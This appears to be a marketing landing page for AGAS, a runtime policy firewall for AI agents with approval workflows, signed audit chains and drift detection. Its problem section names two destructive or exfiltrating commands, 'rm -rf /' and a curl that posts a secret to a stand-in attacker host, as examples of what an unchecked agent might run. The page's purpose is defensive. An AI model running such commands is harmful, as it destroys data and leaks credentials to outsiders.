Runtime firewall
for AI agents.

Every tool call goes through AGAS before it executes. Policy evaluation, human approval workflows, cryptographic audit trails, and real-time monitoring — so you always know what your agents did and why.

Works with Claude Code, OpenAI Agents SDK, Vercel AI SDK, LangChain, CrewAI, AutoGen, MCP, or any callable.

The problem

Your agent has shell access
and you have no idea what it's doing.

No execution control

Agent calls rm -rf / or curl evil.com -d $SECRET. By the time you see the log, the damage is done.

No audit trail

Logs say "tool X was called at 14:32". Not why the agent chose it, what it considered, or whether the result matched what was authorized.

No approval flow

Dangerous operations execute immediately. No way to require human sign-off before a deployment, database write, or file deletion.

What's built

Everything you need to control agents.

Policy evaluation, approval workflows, cryptographic audit trails, real-time monitoring, drift detection, and policy replay. All through a single API.

Policy Engine

YAML rules with pattern matching, wildcard support, and first-match-wins evaluation. Per-agent profiles with allowed/denied tool lists. Default deny.

rules:
  - name: "allow-reads"
    match:
      action: "read|get|list"
    decision: "allow"

  - name: "approve-writes"
    match:
      agent_id: "claude-code:*"
      action: "write"
    decision: "approve"

  - name: "deny-destructive"
    match:
      action: "delete|drop|remove"
    decision: "deny"

Human Approval Workflows

Flag risky operations for human review before they execute. Approve or deny from the dashboard or API. Agents wait for a decision.

POST /api/v1/actions
  -> { decision: "pending_approval" }

# Human reviews in dashboard...

POST /api/v1/actions/:id/approve
  -> { state: "approved" }

# Agent proceeds with execution

Cryptographic Audit Trail

Every decision is HMAC-SHA256 signed and hash-chained per agent. Detect tampering, verify integrity, and replay decisions against current policy.

GET /api/v1/chain/verify?agent_id=analyst-1
{
  "valid": true,
  "chain_length": 847,
  "gaps": [],
  "first": "2026-01-15T...",
  "last": "2026-03-05T..."
}

Real-time Event Stream

SSE endpoint streams every decision as it happens. Build dashboards, trigger alerts, or pipe events to your SIEM.

GET /api/v1/events (SSE)

event: action.allowed
data: {"tool":"file_read","agent_id":"analyst-1"}

event: action.denied
data: {"tool":"shell_exec","agent_id":"deploy-bot"}

event: action.pending_approval
data: {"tool":"db_write","agent_id":"analyst-1"}

Drift & Anomaly Detection

Detect behavioral shifts automatically. Denial rate spikes, new tool usage, volume anomalies, and slow execution patterns.

GET /api/v1/insights/drift?agent_id=analyst-1
{
  "denial_rate_change": "+340%",
  "new_tools": ["shell_exec", "network_fetch"],
  "period": "7d",
  "severity": "high"
}

Policy Replay

Re-evaluate any historical decision against your current policy. See what would change if you tighten or loosen rules.

GET /api/v1/replay/act_7kQ2x
{
  "original_decision": "allowed",
  "replayed_decision": "deny",
  "matched_rule": "deny-destructive",
  "drift": true
}

// Integration

Works with your existing stack.

Add governance to your agent's tool loop. Your agent code stays the same — AGAS plugs in at the boundary.

OpenAI
Anthropic
Vercel AI
LangChain
CrewAI
MCP
AutoGen
Any Callable
python
for tc in msg.tool_calls:  args = json.loads(tc.function.arguments)
  # Submit to AGAS — one line  decision = agas.submit(    tool=tc.function.name,    args=args,    reasoning_context=msg.content,  )
  if decision.allowed:    result = tool_functions[tc.function.name](**args)    decision.report_result(result)  else:    result = f"Blocked: {decision.reason}"

Comparison

How AGAS compares.

Agent firewalls protect the network layer. AGAS protects the decision layer. They're complementary — use both for defense in depth.

CapabilityNothingSystem promptsAgent firewallAGAS
What it isHopeInstructionsNetwork firewallRuntime control plane
Pre-execution policyNoNoTool-level onlyPer-agent, per-tool, per-action
Human approval flowNoNoNoBuilt-in (dashboard + API)
Cryptographic auditNoNoSigned logsHMAC-SHA256 hash chains
Tamper detectionNoNoPartialFull chain verification
Policy replayNoNoNoRe-evaluate any decision
Drift detectionNoNoSession profilingBehavioral drift + anomalies
Multi-tenantNoNoAgent ID headerFull tenant isolation
Real-time eventsNoNoWebhook/syslogSSE stream + webhooks

Be the first to try AGAS.

Join the waitlist and we'll let you know as soon as access is available.